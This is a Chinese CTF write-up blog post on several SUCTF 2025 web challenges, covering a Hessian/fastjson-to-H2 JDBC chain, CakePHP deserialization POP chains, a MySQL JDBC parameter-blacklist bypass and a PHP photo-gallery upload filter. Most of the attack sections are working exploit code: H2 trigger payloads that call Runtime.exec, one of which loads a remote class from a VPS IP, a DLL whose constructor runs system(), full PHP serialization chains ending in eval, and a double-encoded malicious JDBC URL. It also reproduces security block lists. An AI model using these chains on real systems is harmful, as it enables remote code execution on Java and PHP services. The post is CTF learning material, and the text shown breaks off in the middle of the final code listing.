本文最后更新于:21 天前
一心一意web狗(
ezsolon 附件:
https://blog.potatowo.top/2025/01/15/SUCTF2025/ez-solon.jar
那会还在和对象快乐吃饭,队伍里另一个师傅一看,hessian2!然后qq直接call我,Ok啊
吃完饭火速回到宿舍
第一眼,不是springboot,web框架是noear,jackson无望
第二眼,fastjson1.2.83,toString()有了,那就是找getter!
第三眼,构造常规fastjson exp,包被拦的,就想看看哪里拦我,果不其然,但是是hessian包里报错了,
寻思着hessian哪里有把Template拉黑了,匆忙看了眼依赖,好家伙是阿里自己改装的hessian
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > com.alipay.sofa</groupId > <artifactId > hessian</artifactId > <version > 3.5.5</version > </dependency > <dependency > <groupId > com.alipay.sofa.common</groupId > <artifactId > sofa-common-tools</artifactId > <version > 1.4.0</version > </dependency >
跟了一下,找到了blackList
有这么写个东西,嘶~这么看通用链肯定都无了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 aj.org.objectweb.asm. br.com.anteros. bsh. ch.qos.logback. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.druid.stat.JdbcDataSourceStat com.alibaba.fastjson.annotation. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.hessian.test.TestCons com.caucho.naming.Qname com.ibatis. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange. com.mysql.cj.jdbc.admin. com.mysql.cj.jdbc.MysqlConnectionPoolDataSource com.mysql.cj.jdbc.MysqlDataSource com.mysql.cj.jdbc.MysqlXADataSource com.mysql.cj.log. com.mysql.jdbc.util. com.p6spy.engine. com.rometools.rome.feed. com.sun. com.taobao.eagleeye.wrapper. com.taobao.vipserver.commons.collections.functors. com.zaxxer.hikari. flex.messaging.util.concurrent. groovy.lang. java.awt. java.beans. java.net.InetAddress java.net.Socket java.net.URL java.rmi. java.security. java.util.EventListener java.util.jar. java.util.logging. java.util.prefs. java.util.ServiceLoader java.util.StringTokenizer javassist. javax.activation. javax.imageio. javax.management. javax.media.jai.remote. javax.naming. javax.net. javax.print. javax.script. javax.sound. javax.swing. javax.tools. javax.xml jdk.internal. jodd.db.connection. junit. net.bytebuddy.dynamic.loading. net.sf.cglib. net.sf.ehcache.hibernate. net.sf.ehcache.transaction.manager. ognl. oracle.jdbc. oracle.jms.aq. oracle.net. org.apache.http.auth. org.apache.http.conn. org.apache.http.cookie. org.apache.http.impl. org.apache.ibatis.datasource. org.apache.ibatis.executor. org.apache.ibatis.javassist. org.apache.ibatis.ognl. org.apache.ibatis.parsing. org.apache.ibatis.reflection. org.apache.ibatis.scripting. org.apache.ignite.cache. org.apache.ignite.cache.jta. org.apache.log.output.db. org.apache.log4j. org.apache.logging. org.apache.myfaces.context.servlet. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat. org.apache.velocity. org.apache.wicket.util. org.apache.xalan. org.apache.xbean. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.codehaus.jackson. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty. org.geotools.filter. org.h2.jdbcx. org.h2.server. org.h2.value. org.hibernate. org.javasimon. org.jaxen. org.jboss. org.jdom. org.jdom2.transform. org.junit. org.logicalcobwebs. org.mockito. org.mortbay.jetty. org.mortbay.log. org.mozilla.javascript. org.objectweb.asm. org.osjava.sj. org.python.core. org.quartz. org.slf4j. org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor org.springframework.beans.factory.BeanFactory org.springframework.beans.factory.config.PropertyPathFactoryBean org.springframework.beans.factory.support.DefaultListableBeanFactory org.springframework.jndi.support.SimpleJndiBeanFactory org.springframework.orm.jpa.AbstractEntityManagerFactoryBean org.springframework.transaction.jta.JtaTransactionManager org.springframework.jndi.JndiObjectTargetSource org.springframework.beans.factory.config.MethodInvokingFactoryBean org.thymeleaf. org.yaml.snakeyaml.tokens. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common. org.aoju.bus.proxy.provider. org.apache.activemq.ActiveMQConnectionFactory org.apache.activemq.ActiveMQXAConnectionFactory org.apache.activemq.jms.pool. org.apache.activemq.pool. org.apache.activemq.spring. org.apache.aries.transaction. org.apache.axis2.jaxws.spi.handler. org.apache.axis2.transport.jms. org.apache.bcel. org.apache.carbondata.core.scan.expression. org.apache.catalina. org.apache.cocoon. org.apache.commons.beanutils. org.apache.commons.codec. org.apache.commons.collections.comparators. org.apache.commons.collections.functors. org.apache.commons.collections.Transformer org.apache.commons.collections4.comparators. org.apache.commons.collections4.functors. org.apache.commons.collections4.Transformer org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp. org.apache.commons.fileupload. org.apache.commons.jelly. org.apache.commons.logging. org.apache.commons.proxy. org.apache.cxf.jaxrs.provider. org.apache.hadoop.shaded.com.zaxxer.hikari.
但是JSONArray不在里面,意味着我们还是可以打toString()->getter(),那接下来的目标很明确了,在依赖里找可利用的getter(),正好最近简单学了下tabby,试试手吧
用官方setter找JNDI的查询语句稍微改一下,很快就找到了一个非常可疑的类
在org.noear.solon.data.util.UnpooledDataSource
的getConnection()下,找到一个直截了当的jdbc
那能打什么呢?看一眼依赖里有什么数据库,一眼h2
一番查找资料后找到unam4师傅的文章
https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/
nice!
于是乎我就开始着手poc的构造
题外话,这个阿里的hessian真神奇吧,原生hessian序列化时_serializerFactory
是默认赋值好了的,但是这里没有,导致如果我hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
会直接NPE,然后对比原生序列化过程,自己手动赋值上去
1 2 3 4 5 6 7 8 9 public static String Ser (Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2Output (byteArrayOutputStream); setField(hessian2Output,"_serializerFactory" ,new SerializerFactory ()); hessian2Output.getSerializerFactory().setAllowNonSerializable(true ); hessian2Output.writeObject(object); hessian2Output.flush(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
然后又是不知道什么原因,直接通过构造函数的方式创建的UnpooledDataSource对象没办法被正确序列化
于是试了试用ReflectionFactory的方法创建一个空壳对象,诶,你别说还真行了,,
sink找到了,几乎搞定了
然后!!!就在我一切顺风第构造起一条“完整“链子的时候,意外出现了,,
我发现按原生反序列化的方式构造一个字节丢前面没办法触发toString(),气不打一处来,去Hessian2Input跟进去看一眼expect(),那我+ obj +
跑哪去了我请问!
于是发了疯似的开始找一段能从equals->toString()/conpareTo->toString()的链子
然后就有了以下动态:
我会一直哭了
直到比赛结束还一直卡在这,不管了,我们继续
赛后:
用下面代码生成poc,咦,怎么没动静
1 2 3 4 5 6 7 8 UnpooledDataSource unpooledDataSource = (UnpooledDataSource) createObjWithoutConstructor(UnpooledDataSource.class); setField(unpooledDataSource,"url" ,"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +"INFORMATION_SCHEMA.TABLES AS $$void exp() throws Exception{ System.setSecurityManager(null)\\;Runtime.getRuntime().exec(\"calc\")\\; }$$" );JSONArray jsonArray = new JSONArray (); jsonArray.add(unpooledDataSource); System.out.println((Ser(jsonArray)));Ser(jsonArray));
题目项目中给的每一个类一定都要好好看完!!!!
这波是被RestrictiveSecurityManager给拦截了,类似于高版本打jndi通过setProperty()关掉trustURLCodebase,我这里也想通过差不多的办法试一试,结果网上兜了一圈没找到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package com.example.demo.security;import java.io.FilePermission;import java.security.Permission;public class RestrictiveSecurityManager extends SecurityManager { public RestrictiveSecurityManager () { } public void checkExec (String cmd) { throw new SecurityException ("命令执行已被禁用" ); } public void checkPermission (Permission perm) { if (!(perm instanceof FilePermission)) { ; } } public void checkPermission (Permission perm, Object context) { this .checkPermission(perm); } }
但是我们回到App.class,想没想到什么?是的,直接System.setSecurityManager(null);一下即可
简单改一下
1 2 setField(unpooledDataSource,"url" ,"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +"INFORMATION_SCHEMA.TABLES AS $$void exp() throws Exception{ System.setSecurityManager(null)\\;Runtime.getRuntime().exec(\"calc\")\\; }$$" );
成功~
当然这里官方还给出一个加载动态链接库的方式,虽然之前对抗rasp的时候接触过,但是我当时没有想到hhhh,也是可以留个心眼了
JNI 先编写一个类,并声明其方法为native,
Cmd.java:
1 2 3 public class Cmd { public native String exec (String cmd) ; }
随即使用javac编译,得到Cmd.class
然后使用javah -jni生成.h头文件
生成动态链接库
Win下:
1 gcc -I"C:\\Users\\linfe\\.jdks\\temurin-1.8.0_382\\include" -I"C:\\Users\\linfe\\.jdks\\temurin-1.8.0_382\\include\\win32" -shared -o hack.dll Cmd.c
Linux下:
1 gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o Cmd.so Cmd.c
最后使用System.load()或System.loadLibrary()加载这个动态链接库
调用Cmd类的exec()方法
Syst 本题没有用linux环境测试过,但是windows用绝对路径中包含\\
的时候总是报奇怪的错,最后整的麻烦了点,但是不是不能用
写个C文件,用来在程序加载进内存的时候执行:
1 2 3 4 5 6 7 #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void ) { system("calc" ); }
编译:
1 gcc -shared -fPIC qwq.c -o hack.dll
正常来说直接System.load()绝对路径即可,但是正如开头所说的,这道题在h2的这个字符串中他没法好好加载绝对路径
于是稍微绕了个弯
写个类,javac编译:
1 2 3 4 5 public class Test { static { System.load("D:\\CTFS\\suctf\\ezsolon\\evil.dll" ); } }
然后丢到vps上,再使用远程类加载,,绕了个世纪大弯
1 2 3 UnpooledDataSource unpooledDataSource = (UnpooledDataSource) createObjWithoutConstructor(UnpooledDataSource.class); setField(unpooledDataSource,"url" ,"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +"INFORMATION_SCHEMA.TABLES AS $$void exp() throws Exception{ (new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(\"http://47.121.138.97:8000\")})).loadClass(\"Test\").newInstance()\\; }$$" );
ezpop 算是第一次自己正式研究怎么对一个php框架进行调试以及构造pop链
不说踩坑,直接说结论:
如果想用到框架中的代码,必须要先包含vendor目录下的autoload.php
linux下php8.3以上的xdebug需要手动编译,windows下直接下载对应dll即可,注意xdebug和php的版本需一致,线程安全的php对应线程安全xdebug(TS)
但是如果像常规在一个文件中进行pop链的构造,每次new一个对象都要顾及一下这个类的构造函数,但是实际上反序列化过程中是不看构造函数的,就造成了不必要的麻烦
参考了Syclover战队的wp 之后,我的想法是创建两个文件Ser.php和Unser.php,Ser.php负责序列化,在当前文件标注要使用的类的命名空间,来覆盖原先的命名空间,然后重新定义一个class,名字与原来的类相同,构造方法的参数全为空;Unser.php负责反序列化以及调试,需要包含autoload.php
回到这道题上:
在搜索cakephp反序列化漏洞相关文章的时候,搜到了这一篇https://xz.aliyun.com/news/9446
不过最新版的cakephp已经在入口类Process写了个__wakeup()
来阻止反序列化
文章中提到的两个sink也不在当前的环境中,因此需要重新寻找可利用的地方
虽然source和sink都没了,但是可以发现,从Table.__call()
->BehaviorRegistry.call()
->任意类的任意方法调用这个中间的流程还是存在的,官方并没有对Table和BehaviorRegistry这两个类进行反序列化的限制
那目标就是,找一个可控变量,这个变量调用了一个方法,这个方法在Table中不存在,便可以调用到Table.__call()
,这样反序列化入口就接起来了
至于sink,使用saey扫一遍后,找到几个比较合适的类,
寻找过程中尽量选择我们希望控制的部分都是这个类内部的属性,比如MockClass.generate(),无论是mockName还是classCode都完全是我们可控的,因此毫不犹豫完全可以作为链子的终点
1 2 3 4 5 6 7 8 public function generate ( ): string { if (!class_exists ($this ->mockName, false )) { eval ($this ->classCode); } return $this ->mockName; }
现在开始寻找起点,反序列化的起点从__destruct()
或者__wakeup()
开始找起,但是其实全局搜索看了一下之后会发现__wakeup()
基本都是对反序列化做的限制补丁,于是从__destruct()
找起
好消息:作为题目,没有几个能利用的上的,更加明确目标
坏消息:如果不是作为题目而是一个未知情况的框架可能就要怀疑有没有洞了
在React\Promise\InternalRejectedPromise的析构函数内找到了一处字符串拼接对象触发__toString()
来延伸利用链
在Ser.php写下,序列化字符串可以拿到Unserphp中调试
1 2 3 4 5 6 7 8 9 namespace React \Promise \Internal ;class RejectedPromise { public function __construct ( ) { } }$p = new RejectedPromise ();echo $ser = base64_encode (serialize ($p ));
继续全局搜索__toString()
,在Cake\Http\Response下找到了一个合适的__toString()
,且正好原先的链子中,Table中并没有rewind()这个方法,因此让this->stream
赋值为Table对象即可触发Table.__call()
,于是乎就接上了之前文章里的链子
1 2 3 4 5 6 public function __toString ( ): string { $this ->stream->rewind (); return $this ->stream->getContents (); }
好吧我承认自己太懒了,,,写不下去了,以后尽量边做边写吧,做完了就没什么动力写了,,总是重复劳动(雾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php namespace PHPUnit \Framework \MockObject \Generator ;class MockClass { public function __construct ( ) { $this ->mockName = "PHPUnit\\Framework\\MockObject\\Generator\\MockMethodSet" ; $this ->classCode = "system('calc');" ; } }namespace Cake \ORM ;use PHPUnit \Framework \MockObject \Generator \MockClass ;class BehaviorRegistry { public function __construct ( ) { $this ->_loaded = ["1" =>new MockClass ()]; $this ->_methodMap = ["rewind" =>["1" ,"generate" ]]; } }namespace Cake \ORM ;use Cake \ORM \BehaviorRegistry ;class Table { public function __construct ( ) { $this ->_behaviors = new BehaviorRegistry (); } }namespace Cake \Http ;use Cake \ORM \Table ;class Response { public function __construct ( ) { $this ->stream = new Table (); } }namespace React \Promise \Internal ;use Cake \Http \Response ;class RejectedPromise { public function __construct ( ) { $this ->reason = new Response (); } }$p = new RejectedPromise ();echo $ser = base64_encode (serialize ($p ));
然后Syclover战队的师傅给出的是另一条链子,从走的是Composer\DependencyResolver\Pool的toString(),虽然稍微长了点,但是从中学到了不少,警示我除了__destruct()
,__call()
等一类常见魔术方法,也得十分留意__get()
,__invoke()
,__isset()
等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <?php namespace PHPUnit \Framework \MockObject \Generator ;class MockClass { public function __construct ( ) { $this ->mockName = "PHPUnit\\Framework\\MockObject\\Generator\\MockMethodSet" ; $this ->classCode = "system('calc');" ; } }namespace Cake \ORM ;use PHPUnit \Framework \MockObject \Generator \MockClass ;class BehaviorRegistry { public function __construct ( ) { $this ->_loaded = ["1" =>new MockClass ()]; $this ->_methodMap = ["getname" =>["1" ,"generate" ]]; } }namespace Cake \Http \Cookie ;use Cake \ORM \Table ;class CookieCollection { public function __construct ( ) { $this ->cookies = [new Table ()]; } }namespace Cake \ORM ;use Cake \ORM \BehaviorRegistry ;class Table { public function __construct ( ) { $this ->_behaviors = new BehaviorRegistry (); } }namespace Composer \DependencyResolver ;use Cake \Controller \Component ;use Cake \Http \Cookie \CookieCollection ;use Cake \ORM \Table ;class Pool { public function __construct ( ) { $this ->packages = [new CookieCollection ()]; } }namespace Cake \Http ;use Cake \ORM \Table ;class Response { public function __construct ( ) { $this ->stream = new Table (); } }namespace React \Promise \Internal ;use Cake \Http \Response ;use Composer \DependencyResolver \Pool ;class RejectedPromise { public function __construct ( ) { $this ->reason = new Pool (); } }$p = new RejectedPromise ();echo $ser = base64_encode (serialize ($p ));
弹到shell之后还得提个权
find / -perm -u=s -type f 2>/dev/null
找到find
sujava 使用jadx打开即可正常反编译
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 package com.pho3n1x.sujava.security;import java.io.UnsupportedEncodingException;import java.net.URLDecoder;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import java.util.stream.Collectors;import org.apache.commons.lang3.StringUtils;public class SecurityChecker { public static final String f0x2356168a = null ; private static final String AND_SYMBOL = "&" ; private static final String EQUAL_SIGN = "=" ; private static final String COMMA = "," ; private static final String BLACKLIST_REGEX = "autodeserialize|allowloadlocalinfile|allowurlinlocalinfile|allowloadlocalinfileinpath" ; public static String MYSQL_SECURITY_CHECK_ENABLE = "true" ; public static String MYSQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s" ; public static String JDBC_MYSQL_PROTOCOL = "jdbc:mysql" ; public static String JDBC_MATCH_REGEX = "(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?" ; public static String MYSQL_SENSITIVE_PARAMS = "allowLoadLocalInfile,autoDeserialize,allowLocalInfile,allowUrlInLocalInfile,#" ; public static void checkJdbcConnParams (String str, Integer num, String str2, String str3, String str4, Map<String, Object> map) throws Exception { if (Boolean.valueOf(MYSQL_SECURITY_CHECK_ENABLE).booleanValue()) { if (StringUtils.isAnyBlank(new CharSequence []{str, str2})) { throw new Exception ("Invalid mysql connection params." ); } String format = String.format(MYSQL_CONNECT_URL, str.trim(), num, str4.trim()); checkHost(str.trim()); checkUrl(format); checkParams(map); checkUrlIsSafe(format); } } public static void checkHost (String str) throws Exception { if (str == null ) { return ; } if (str.startsWith("(" ) || str.endsWith(")" )) { throw new Exception ("Invalid host" ); } } public static void checkUrl (String str) throws Exception { if ((str == null || str.toLowerCase().startsWith(JDBC_MYSQL_PROTOCOL)) && !Pattern.compile(JDBC_MATCH_REGEX).matcher(str).matches()) { throw new Exception (); } } private static Map<String, Object> parseMysqlUrlParamsToMap (String str) { if (StringUtils.isBlank(str)) { return new HashMap (); } String[] split = str.split(AND_SYMBOL); HashMap hashMap = new HashMap (split.length); for (String str2 : split) { String[] split2 = str2.split(EQUAL_SIGN); if (split2.length == 2 ) { hashMap.put(split2[0 ], split2[1 ]); } } return hashMap; } public static String parseParamsMapToMysqlParamUrl (Map<String, Object> map) { return (map == null || map.isEmpty()) ? "" : (String) map.entrySet().stream().map(entry -> { return String.join(EQUAL_SIGN, (CharSequence) entry.getKey(), String.valueOf(entry.getValue())); }).collect(Collectors.joining(AND_SYMBOL)); } private static void checkParams (Map<String, Object> map) throws Exception { if (map == null || map.isEmpty()) { return ; } try { Map<String, Object> parseMysqlUrlParamsToMap = parseMysqlUrlParamsToMap(URLDecoder.decode(parseParamsMapToMysqlParamUrl(map), "UTF-8" )); map.clear(); map.putAll(parseMysqlUrlParamsToMap); Iterator<Map.Entry<String, Object>> it = map.entrySet().iterator(); while (it.hasNext()) { Map.Entry<String, Object> next = it.next(); String key = next.getKey(); Object value = next.getValue(); if (StringUtils.isBlank(key) || value == null || StringUtils.isBlank(value.toString())) { it.remove(); } else if (isNotSecurity(key, value.toString())) { throw new Exception ("Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(map)); } } } catch (UnsupportedEncodingException e) { throw new Exception ("mysql connection cul decode error: " + e); } } private static boolean isNotSecurity (String str, String str2) { boolean z = true ; String str3 = MYSQL_SENSITIVE_PARAMS; if (StringUtils.isBlank(str3)) { return false ; } String[] split = str3.split(COMMA); int length = split.length; int i = 0 ; while (true ) { if (i >= length) { break ; } if (isNotSecurity(str, str2, split[i])) { z = false ; break ; } i++; } return !z; } private static boolean isNotSecurity (String str, String str2, String str3) { return str.toLowerCase().contains(str3.toLowerCase()) || str2.toLowerCase().contains(str3.toLowerCase()); } public static void checkUrlIsSafe (String str) throws Exception { try { Matcher matcher = Pattern.compile(BLACKLIST_REGEX).matcher(str.toLowerCase()); StringBuilder sb = new StringBuilder (); while (matcher.find()) { if (sb.length() > 0 ) { sb.append(", " ); } sb.append(matcher.group()); } if (sb.length() > 0 ) { throw new Exception ("url contains blacklisted characters: " + ((Object) sb)); } } catch (Exception e) { throw new Exception ("error occurred during url security check: " + e); } } public static void appendMysqlForceParams (Map<String, Object> map) { map.putAll(parseMysqlUrlParamsToMap("allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false" )); } }
主要的逻辑:
传入主机名、端口、参数、用户名、密码后,将host和port以及数据库名格式化给jdbc:mysql://%s:%s/%s
随后检查host是否为(
开头或)
结尾
然后检查一整个字符串是否满足正则表达式"(?i)jdbc:(?i)(mysql)://([^:]+)(:[0-9]+)?(/[a-zA-Z0-9_-]*[\\.\\-]?)?"
,这里就很明显有一处漏洞了,([^:]+)
处插入任何非:
字符,都满足表达式
题目中对参数的检查首先将map类型的参数转为字符串,进行一次url解码随后再转为map,并通过map键值对的形式对参数进行检查
在最后还强制设置一些参数的值
对一些敏感参数的检查
那么思路就很明显了,在host处插入参数,设置为true,并使用#
注释掉之后的内容
但是问题来了,参数的位置位于端口之后,我们插入参数就必须要在之前插入冒号,但是一旦插入冒号就不匹配JDBC_MATCH_REGEX
了
在mysql connector/j官方手册 中看到了几种除了标准jdbc:mysql://localhost:3306/test
的写法外,还有几种写法,在这种写法中端口等采用的是括号键值对形式,那就好办了。此处ban了括号开头,那就应该采用address=的这种写法了:
MySQL_Fake_Server 服务先起来
正常传一个请求,伪造服务端收到了请求,那就可以开始构造参数了
最后在请求包传入参数如下,被黑名单掉的字符编码两次。
参数传入到后端后,springMVC解码一次,此处的代码URLDecoder再解码一次,解码过后进行一次的黑名单检验,但是此时解码两次之后的Host已经是明文了,怎么绕过的呢,这里存疑,之后源码调试一下
后面mysql-connector会自行解码,最终成功解析
1 host =address=(host=127.0.0.1 )(port=3307 )(database=test)(%25 %36 %31 %25 %36 %63 %25 %36 %63 %25 %36 %66 %25 %37 %37 %25 %34 %63 %25 %36 %66 %25 %36 %31 %25 %36 %34 %25 %34 %63 %25 %36 %66 %25 %36 %33 %25 %36 %31 %25 %36 %63 %25 %34 %39 %25 %36 %65 %25 %36 %36 %25 %36 %39 %25 %36 %63 %25 %36 %35 =true)(%25 %36 %31 %25 %36 %63 %25 %36 %63 %25 %36 %66 %25 %37 %37 %25 %35 %35 %25 %37 %32 %25 %36 %63 %25 %34 %39 %25 %36 %65 %25 %34 %63 %25 %36 %66 %25 %36 %33 %25 %36 %31 %25 %36 %63 %25 %34 %39 %25 %36 %65 %25 %36 %36 %25 %36 %39 %25 %36 %63 %25 %36 %35 =true)(%25 %36 %31 %25 %36 %63 %25 %36 %63 %25 %36 %66 %25 %37 %37 %25 %34 %63 %25 %36 %66 %25 %36 %31 %25 %36 %34 %25 %34 %63 %25 %36 %66 %25 %36 %33 %25 %36 %31 %25 %36 %63 %25 %34 %39 %25 %36 %65 %25 %36 %36 %25 %36 %39 %25 %36 %63 %25 %36 %35 %25 %34 %39 %25 %36 %65 %25 %35 %30 %25 %36 %31 %25 %37 %34 %25 %36 %38 %25 %33 %64 %25 %32 %66 )(%25 %36 %64 %25 %36 %31 %25 %37 %38 %25 %34 %31 %25 %36 %63 %25 %36 %63 %25 %36 %66 %25 %37 %37 %25 %36 %35 %25 %36 %34 %25 %35 %30 %25 %36 %31 %25 %36 %33 %25 %36 %62 %25 %36 %35 %25 %37 %34 %25 %33 %64 %25 %33 %36 %25 %33 %35 %25 %33 %35 %25 %33 %33 %25 %33 %36 %25 %33 %30 )(user=%25 %36 %36 %25 %36 %39 %25 %36 %63 %25 %36 %35 %25 %37 %32 %25 %36 %35 %25 %36 %31 %25 %36 %34 %25 %35 %66 %25 %32 %66 %25 %36 %35 %25 %37 %34 %25 %36 %33 %25 %32 %66 %25 %37 %30 %25 %36 %31 %25 %37 %33 %25 %37 %33 %25 %37 %37 %25 %36 %34 )#&port=3307 &database=test&extraParams=&username=root&password=p
后续:
拿到源码后发现,原来URLDecoder解码的那一次是extraParams的,所以最开始实际上只有Spring解了一次,然后检验黑名单的时候还是处于一次编码的状态,后面mysql-connector再解码,遂绕过
SU_photogallery 通过404页面推断出是使用php -S
方式启动的web服务
存在php<= 7.4.21 development server源码泄露漏洞:https://blog.csdn.net/Kawakaze_JF/article/details/133046885
表单中往unzip.php提交了文件,读一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 <?php error_reporting (0 );function get_extension ($filename ) { return pathinfo ($filename , PATHINFO_EXTENSION); }function check_extension ($filename ,$path ) { $filePath = $path . DIRECTORY_SEPARATOR . $filename ; if (is_file ($filePath )) { $extension = strtolower (get_extension ($filename )); if (!in_array ($extension , ['jpg' , 'jpeg' , 'png' , 'gif' ])) { if (!unlink ($filePath )) { return false ; } else { return false ; } } else { return true ; } }else { return false ; } }function file_rename ($path ,$file ) { $randomName = md5 (uniqid ().rand (0 , 99999 )) . '.' . get_extension ($file ); $oldPath = $path . DIRECTORY_SEPARATOR . $file ; $newPath = $path . DIRECTORY_SEPARATOR . $randomName ; if (!rename ($oldPath , $newPath )) { unlink ($path . DIRECTORY_SEPARATOR . $file ); return false ; } else { return true ; } }function move_file ($path ,$basePath ) { foreach (glob ($path . DIRECTORY_SEPARATOR . '*' ) as $file ) { $destination = $basePath . DIRECTORY_SEPARATOR . basename ($file ); if (!rename ($file , $destination )){ return false ; } } return true ; }function check_base ($fileContent ) { $keywords = ['eval' , 'base64' , 'shell_exec' , 'system' , 'passthru' , 'assert' , 'flag' , 'exec' , 'phar' , 'xml' , 'DOCTYPE' , 'iconv' , 'zip' , 'file' , 'chr' , 'hex2bin' , 'dir' , 'function' , 'pcntl_exec' , 'array' , 'include' , 'require' , 'call_user_func' , 'getallheaders' , 'get_defined_vars' ,'info' ]; $base64_keywords = []; foreach ($keywords as $keyword ) { $base64_keywords [] = base64_encode ($keyword ); } foreach ($base64_keywords as $base64_keyword ) { if (strpos ($fileContent , $base64_keyword )!== false ) { return true ; } else { return false ; } } }function check_content ($zip ) { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (preg_match ('/\.\.(\/|\.|%2e%2e%2f)/i' , $fileName )) { return false ; } $fileContent = $zip ->getFromName ($fileName ); if (preg_match ('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i' , $fileContent ) || check_base ($fileContent )) { return false ; } else { continue ; } } return true ; }function unzip ($zipname , $basePath ) { $zip = new ZipArchive ; if (!file_exists ($zipname )) { return "zip_not_found" ; } if (!$zip ->open ($zipname )) { return "zip_open_failed" ; } if (!check_content ($zip )) { return "malicious_content_detected" ; } $randomDir = 'tmp_' .md5 (uniqid ().rand (0 , 99999 )); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir ; if (!mkdir ($path , 0777 , true )) { $zip ->close (); return "mkdir_failed" ; } if (!$zip ->extractTo ($path )) { $zip ->close (); } else { for ($i = 0 ; $i < $zip ->numFiles; $i ++) { $fileInfo = $zip ->statIndex ($i ); $fileName = $fileInfo ['name' ]; if (!check_extension ($fileName , $path )) { continue ; } if (!file_rename ($path , $fileName )) { continue ; } 